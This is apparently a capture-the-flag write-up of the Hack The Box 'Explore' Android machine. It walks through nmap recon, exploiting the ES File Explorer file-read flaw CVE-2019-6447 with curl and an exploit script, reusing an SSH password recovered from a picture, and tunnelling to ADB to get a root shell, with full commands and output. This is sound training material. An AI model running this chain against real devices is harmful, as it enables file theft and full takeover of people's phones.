Explore features an ES File Explorer that is vulnerable to Arbitrary File Read, allowing me to obtain a picture containing SSH credentials. Enumerating the system reveals that the machine has debug mode enabled and ADB daemon running, these two can then be leveraged to obtain root access via ADB client.
Skills Learned
- Exploiting ES File Explorer vulnerability
- Android enumeration and exploitation
Tools
- Nmap
- Adb
Reconnaissance
Nmap
Nmap
scan on TCP ports discovers 5 open ports:
- SSH on port 2222
- For port 5555, nmap identifies it as freeciv, but judging based on the OS, this can be ADB1.
- The rest 37817, 42135, and 59777 are HTTP servers.
→ root@kali «explore» «10.10.14.32»
$ nmap -p- --min-rate 1000 --reason -oA nmap/all-tcp-explorer 10.10.10.247
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-27 17:39 EDT
Nmap scan report for 10.10.10.247
Host is up, received reset ttl 63 (0.057s latency).
Not shown: 65530 closed ports
Reason: 65530 resets
PORT STATE SERVICE REASON
2222/tcp open EtherNetIP-1 syn-ack ttl 63
5555/tcp filtered freeciv no-response
37817/tcp open unknown syn-ack ttl 63
42135/tcp open unknown syn-ack ttl 63
59777/tcp open unknown syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 38.81 seconds
→ root@kali «explore» «10.10.14.32»
$ nmap -p2222,5555,37817,42135,59777 -sC -sV -oA nmap/all-tcp-script-explorer 10.10.10.247
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-27 17:47 EDT
Nmap scan report for 10.10.10.247
Host is up (0.051s latency).
PORT STATE SERVICE VERSION
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
|_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv
37817/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:36 GMT
| Content-Length: 22
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| GetRequest:
| HTTP/1.1 412 Precondition Failed
| Date: Sun, 27 Jun 2021 21:47:36 GMT
| Content-Length: 0
| HTTPOptions:
| HTTP/1.0 501 Not Implemented
| Date: Sun, 27 Jun 2021 21:47:41 GMT
| Content-Length: 29
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Method not supported: OPTIONS
| Help:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:57 GMT
| Content-Length: 26
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line: HELP
| RTSPRequest:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:41 GMT
| Content-Length: 39
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| valid protocol version: RTSP/1.0
| SSLSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:57 GMT
| Content-Length: 73
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ?G???,???`~?
| ??{????w????<=?o?
| TLSSessionReq:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:57 GMT
| Content-Length: 71
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
| ??random1random2random3random4
| TerminalServerCookie:
| HTTP/1.0 400 Bad Request
| Date: Sun, 27 Jun 2021 21:47:57 GMT
| Content-Length: 54
| Content-Type: text/plain; charset=US-ASCII
| Connection: Close
| Invalid request line:
|_ Cookie: mstshash=nmap
42135/tcp open http ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
59777/tcp open http Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.80%I=7%D=6/27%Time=60D8F1F8%P=x86_64-pc-linux-gnu%r(NU
SF:LL,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port37817-TCP:V=7.80%I=7%D=6/27%Time=60D8F1F8%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,AA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Sun,\x20
...[SNIP]...
Service Info: Device: phone
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.79 seconds
Enumeration
TCP 37817
No reply given from 37817, it showed in a close state when I tried to rescan it.
TCP 59777 & 42135 - ES File Explorer
If I search for port 59777 and 42135 on Google, the results show that these ports are belong to ES File Explorer.
Interacting with port 59777 from the browser gives me the response below, and no further information given.
If I use nc
, port 59777 returns with a forbidden error message.
→ kali@kali «explore» «10.10.14.83»
$ nc 10.10.10.247 59777
GET /
HTTP/1.0 403 Forbidden
Content-Type: text/plain
Date: Sun, 9 Jul 2021 22:32:42 GMT
FORBIDDEN: No directory listing
For port 42135, interacting with it from nc
or the browser both returns 404 not found message.
→ kali@kali «explore» «10.10.14.83»
$ nc 10.10.10.247 42135
GET / HTTP/1.1
HTTP/1.1 404 Not Found
Server: ES Name Response Server
Content-Type: text/html
Content-Length: 9
Connection: close
Not found
Finding Vulnerabilities
On Exploit-DB, there is one recent exploit for ES File Explorer, which was released 3 days after this box. This looks promising,
Foothold
Shell as kristi
ES File Explorer CVE-2019-6447
The arbitrary file read vulnerability on ES File Explorer 4.1.9.7.4 is classified as CVE-2019-6447. This articles explains about the vulnerability, but I will just quote its overview part which states that:
The ES file browser creates an HTTP service bound to port 59777 at runtime, which provides 10+ commands for accessing data in user’s cell phone and executing the application; however, the service does not check this request. Test, resulting in a security breach.
I can test for the vulnerability by sending a HTTP POST request containing one of the available commands like getDeviceInfo
to http://10.10.10.247:59777
:
→ kali@kali «explore» «10.10.14.83»
$ curl -d '{"command":"getDeviceInfo"}' http://10.10.10.247:59777
{"name":"VMware Virtual Platform", "ftpRoot":"/sdcard", "ftpPort":"3721"}
And it was vulnerable!
This time I will grab this exploit. When sending listPics
command, it returns with one interesting file name called creds.jpg
→ kali@kali «exploits» «10.10.14.83»
$ python3 esfile_cve2019-6447.py listPics 10.10.10.247
==================================================================
| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |
| Coded By : Nehal a.k.a PwnerSec |
==================================================================
name : concept.jpg
time : 4/21/21 02:38:08 AM
location : /storage/emulated/0/DCIM/concept.jpg
size : 135.33 KB (138,573 Bytes)
name : anc.png
time : 4/21/21 02:37:50 AM
location : /storage/emulated/0/DCIM/anc.png
size : 6.24 KB (6,392 Bytes)
name : creds.jpg
time : 4/21/21 02:38:18 AM
location : /storage/emulated/0/DCIM/creds.jpg
size : 1.14 MB (1,200,401 Bytes)
name : 224_anc.png
time : 4/21/21 02:37:21 AM
location : /storage/emulated/0/DCIM/224_anc.png
size : 124.88 KB (127,876 Bytes)
The file can be downloaded with getFile
command and then supply the file path as the last argument.
→ kali@kali «exploits» «10.10.14.83»
$ python3 esfile_cve2019-6447.py getFile 10.10.10.247 /storage/emulated/0/DCIM/creds.jpg
==================================================================
| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |
| Coded By : Nehal a.k.a PwnerSec |
==================================================================
[+] Downloading file...
[+] Done. Saved as `out.dat`.
The saved image contains a set of creds: kristi:Kr1sT!5h@Rp3xPl0r3!
SSH - Kristi
These credentials works on SSH.
→ kali@kali «exploits» «10.10.14.83»
$ ssh -p 2222 kristi@10.10.10.247
Password authentication
Password:
:/ $ whoami && id && hostname
u0_a76
uid=10076(u0_a76) gid=10076(u0_a76) groups=10076(u0_a76),3003(inet),9997(everybody),20076(u0_a76_cache),50076(all_a76) context=u:r:untrusted_app:s0:c76,c256,c512,c768
localhost
The username appeared as u0_a76
because each application on Android starting from OS 6.0+ is sandboxed. In this case the SSH server is a sandboxed application.
The user flag is on /sdcard/user.txt
.
:/sdcard $ ls -la
total 68
drwxrwx--- 15 root everybody 4096 2021-04-21 02:12 .
drwx--x--x 4 root everybody 4096 2021-03-13 17:16 ..
drwxrwx--- 5 root everybody 4096 2021-03-13 17:30 .estrongs
-rw-rw---- 1 root everybody 72 2021-07-09 07:16 .userReturn
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Alarms
drwxrwx--- 3 root everybody 4096 2021-03-13 17:16 Android
drwxrwx--- 2 root everybody 4096 2021-04-21 02:38 DCIM
drwxrwx--- 2 root everybody 4096 2021-03-13 17:37 Download
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Movies
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Music
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Notifications
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Pictures
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Podcasts
drwxrwx--- 2 root everybody 4096 2021-03-13 17:16 Ringtones
drwxrwx--- 3 root everybody 4096 2021-03-13 17:30 backups
drwxrwx--- 2 root everybody 4096 2021-04-21 02:12 dianxinos
-rw-rw---- 1 root everybody 33 2021-03-13 18:28 user.txt
:/sdcard $ cat user.txt
f3201...[SNIP]...
Privilege Escalation
Shell as root
ADB
While enumerating this machine, I found a xbin
folder under /system
directory.
:/system $ ls -l
total 212
drwxr-xr-x 41 root root 4096 2020-03-25 00:26 app
drwxr-xr-x 3 root shell 8192 2020-03-25 00:26 bin
-rw------- 1 root root 2824 2020-03-24 23:39 build.prop
...[SNIP]...
drwxr-xr-x 2 root shell 8192 2020-03-25 00:26 xbin
When I was an active XDA member (2011~2013), the existence of /system/xbin
or /system/xbin/su
indicated that the device was rooted back then (I just found out that this method2 is still used today).
Typically people who rooted their device has a debug mode enabled, therefore, I’m guessing that the only way to gain a root shell from here is through adb
(android debug bridge) on port 5555.
:/ $ netstat -tlpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program Name
tcp 0 1 10.10.10.247:60138 1.0.0.1:853 SYN_SENT -
tcp 0 1 10.10.10.247:48216 1.1.1.1:853 SYN_SENT -
tcp6 0 0 :::42135 :::* LISTEN -
tcp6 0 0 :::59777 :::* LISTEN -
tcp6 0 0 ::ffff:10.10.10.2:33035 :::* LISTEN -
tcp6 0 0 :::2222 :::* LISTEN 3405/net.xnano.android.sshserver
tcp6 0 0 ::ffff:127.0.0.1:38415 :::* LISTEN -
tcp6 0 0 :::5555 :::* LISTEN -
tcp6 0 0 ::ffff:127.0.0.1:5555 ::ffff:127.0.0.1:56602 ESTABLISHED -
tcp6 0 0 ::ffff:127.0.0.1:56604 ::ffff:127.0.0.1:5555 ESTABLISHED 3405/net.xnano.android.sshserver
tcp6 0 0 ::ffff:127.0.0.1:5555 ::ffff:127.0.0.1:56604 ESTABLISHED -
tcp6 0 624 ::ffff:10.10.10.24:2222 ::ffff:10.10.14.2:55618 ESTABLISHED 3405/net.xnano.android.sshserver
tcp6 0 0 ::ffff:127.0.0.1:56602 ::ffff:127.0.0.1:5555 ESTABLISHED 3405/net.xnano.android.sshserver
tcp6 0 0 ::ffff:10.10.10.24:2222 ::ffff:10.10.14.2:55602 ESTABLISHED 3405/net.xnano.android.sshserver
As I only have ADB on my host device (Windows), I created two SSH tunnels: Windows:5555 <-SSH-> Kali:5555 <-SSH-> Explorer:5555
.
On my Windows:
$ ssh kali -L 5555:localhost:5555
On my Kali:
$ ssh -p 2222 kristi@10.10.10.247 -L 5555:localhost:5555
Back on my Windows, I will connect to the Explore ADB server which is now accessible over port 5555 on my localhost.
explore › adb tcpip 5555
* daemon not running; starting now at tcp:5037
* daemon started successfully
restarting in TCP mode port: 5555
explore › adb connect localhost:5555
connected to localhost:5555
explore › adb devices
List of devices attached
localhost:5555 device
But it when I want to get a shell, it returns with
explore › adb shell
error: more than one device/emulator
and that can be resolved by specifying the device with -s
option.
explore › adb devices
List of devices attached
emulator-5554 device
localhost:5555 device
explore › adb -s localhost:5555 shell
x86_64:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
When I type su
, I’m in the root shell!
x86_64:/ $ su
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:su:s0
The root flag can be found using the following command:
:/ # find / -type f -name "root.txt" 2>/dev/null
/data/root.txt
:/ # cat /data/root.txt
f04fc...[SNIP]...